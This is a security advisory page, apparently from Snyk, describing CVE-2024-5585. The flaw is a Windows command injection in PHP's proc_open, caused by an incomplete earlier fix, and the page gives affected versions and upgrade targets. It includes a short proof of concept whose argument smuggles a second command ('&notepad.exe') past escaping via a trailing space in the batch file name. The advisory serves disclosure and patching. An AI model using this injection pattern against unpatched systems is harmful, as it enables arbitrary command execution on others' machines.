Command Injection Affecting php package, versions [,8.1.29)[8.2.0,8.2.20)[8.3.0,8.3.8)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.44% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-PHP-7246772
  • published12 Jun 2024
  • disclosed7 Jun 2024
  • credittianstcht

Introduced: 7 Jun 2024

CVE-2024-5585  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade php to version 8.1.29, 8.2.20, 8.3.8 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection due to insufficient escaping in the proc_open command. An attacker can execute arbitrary commands in the Windows shell by supplying specially crafted arguments.

Note:

This is due to an incomplete fix for CVE-2024-1874 that does not work if the command name includes trailing spaces.

PoC

  1. Save the following file as test.bat

echo hello

  1. Save the following file as 1.php, notice the space at the end of argv-filename
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat ", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);
  1. Run it with PHP and confirm that notepad.exe is popped up.

CVSS Scores

version 3.1